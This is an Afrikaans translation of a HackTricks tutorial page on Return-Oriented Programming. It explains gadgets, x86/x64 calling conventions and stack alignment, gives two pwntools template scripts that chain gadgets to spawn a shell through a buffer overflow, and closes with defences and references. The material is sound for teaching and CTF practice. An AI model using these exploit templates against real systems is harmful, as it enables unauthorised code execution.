.. | ||
ret2esp-ret2reg | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
Return-Oriented Programming (ROP) is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos No-Execute (NX) of Data Execution Prevention (DEP) te omseil. In plaas van om shellcode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as "gadgets". Elke gadget eindig tipies met 'n ret
instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading konstrueer om arbitrêre operasies uit te voer, wat effektief NX/DEP-beskerming omseil.
Hoe ROP Werk
- Beheerstroomkaping: Eerstens moet 'n aanvaller die beheerstroom van 'n program kaap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.
- Gadget-ketting: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep, die aanroep van die funksie (bv.,
system("/bin/sh")
), en die hanteer van enige nodige skoonmaak of bykomende operasies insluit. - Ladinguitvoering: Wanneer die kwesbare funksie terugkeer, begin dit in plaas van om na 'n wettige plek terug te keer, die ketting van gadgets uitvoer.
Gereedskap
Gewoonlik kan gadgets gevind word met behulp van ROPgadget, ropper of direk vanuit pwntools (ROP).
ROP-ketting in x86 Voorbeeld
x86 (32-bis) Oproepkonvensies
- cdecl: Die oproeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. Argumente word van regs na links op die stok gedruk.
- stdcall: Soortgelyk aan cdecl, maar die ontvanger is verantwoordelik vir die skoonmaak van die stok.
Gadgets Vind
Eerstens, laat ons aanneem dat ons die nodige gadgets binne die binêre lêer of sy gelaai biblioteke geïdentifiseer het. Die gadgets waarin ons belangstel, is:
pop eax; ret
: Hierdie gadget skuif die boonste waarde van die stok in dieEAX
-register en keer dan terug, wat ons in staat stel omEAX
te beheer.pop ebx; ret
: Soortgelyk aan die bogenoemde, maar vir dieEBX
-register, wat beheer oorEBX
moontlik maak.mov [ebx], eax; ret
: Skuif die waarde inEAX
na die geheueplek wat deurEBX
aangedui word en keer dan terug. Dit word dikwels 'n write-what-where gadget genoem.- Daarbenewens het ons die adres van die
system()
-funksie beskikbaar.
ROP-ketting
Met behulp van pwntools berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder met die doel om system('/bin/sh')
uit te voer, let op hoe die ketting begin met:
- 'n
ret
instruksie vir uitlyningsdoeleindes (opsioneel) - Adres van
system
-funksie (onder die aanname dat ASLR uitgeskakel is en bekende libc, meer inligting in Ret2lib) - Plekhouer vir die terugkeeradres van
system()
"/bin/sh"
string-adres (parameter vir stelsel funksie)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Ketting in x64 Voorbeeld
x64 (64-biet) Oproepkonvensies
- Gebruik die System V AMD64 ABI oproepkonvensie op Unix-soortgelyke stelsels, waar die eerste ses heelgetal- of wyservariabele argumente in die register
RDI
,RSI
,RDX
,RCX
,R8
, enR9
oorgedra word. Addisionele argumente word op die stok oorgedra. Die terugvoerwaarde word inRAX
geplaas. - Die Windows x64 oproepkonvensie gebruik
RCX
,RDX
,R8
, enR9
vir die eerste vier heelgetal- of wyservariabele argumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word inRAX
geplaas. - Register: 64-biet register sluit in
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, enR8
totR15
.
Vind Gadgets
Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die RDI register in te stel (om die "/bin/sh" string as 'n argument aan system() oor te dra) en dan die system() funksie aan te roep. Ons aanvaar dat ons die volgende gadgets geïdentifiseer het:
- pop rdi; ret: Haal die boonste waarde van die stok in RDI uit en keer dan terug. Essensieel vir die instelling van ons argument vir system().
- ret: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenarios.
En ons weet die adres van die system() funksie.
ROP Ketting
Hieronder is 'n voorbeeld wat pwntools gebruik om 'n ROP-ketting op te stel en uit te voer met die doel om system('/bin/sh') op x64 uit te voer:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
In hierdie voorbeeld:
- Ons maak gebruik van die
pop rdi; ret
instrument omRDI
in te stel op die adres van"/bin/sh"
. - Ons spring direk na
system()
nadat onsRDI
ingestel het, met system() se adres in die ketting. ret_gadget
word gebruik vir belyn as die teikenomgewing dit vereis, wat meer algemeen is in x64 om behoorlike stakingsbelyning te verseker voordat funksies geroep word.
Stakingsbelyning
Die x86-64 ABI verseker dat die stapel 16-byte gebelyn is wanneer 'n oproepinstruksie uitgevoer word. LIBC, om prestasie te optimaliseer, gebruik SSE-instruksies (soos movaps) wat hierdie belyning vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat RSP nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos system misluk in 'n ROP-ketting. Om dit reg te stel, voeg eenvoudig 'n ret gadget by voordat jy system in jou ROP-ketting aanroep.
x86 vs x64 hoofverskil
{% hint style="success" %} Aangesien x64 registers gebruik vir die eerste paar argumente, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in x64-argitektuur bied beide geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP). {% endhint %}
ROP-ketting in ARM64 Voorbeeld
ARM64 Basiese beginsels & Oproepkonvensies
Kyk na die volgende bladsy vir hierdie inligting:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Beskerming teen ROP
- ASLR & PIE: Hierdie beskerming maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
- Stapelkanaries: In geval van 'n BOF, is dit nodig om die stapelkanarie te omseil om terugkeerpunte te oorskryf om 'n ROP-ketting te misbruik.
- Gebrek aan Gadgets: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.
ROP-gebaseerde tegnieke
Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is baie Ret2XXX-tegnieke ontwikkel:
- Ret2lib: Gebruik ROP om arbitrêre funksies van 'n gelaai biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: Gebruik ROP om 'n oproep na 'n stelselooproep voor te berei, bv.
execve
, en maak dit moontlik om arbitrêre opdragte uit te voer.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (hoewel dit ook nodig is om EIP te beheer).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Ander Voorbeelde & Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie en nx geaktiveer, geen kanarie, oorskryf RIP met 'n
vsyscall
-adres met die enigste doel om terug te keer na die volgende adres in die stapel wat 'n gedeeltelike oorskrywing van die adres sal wees om die deel van die funksie te kry wat die vlag lek - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, geen ASLR, ROP-gadget om stapel uitvoerbaar te maak en te spring na shellcode in stapel
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.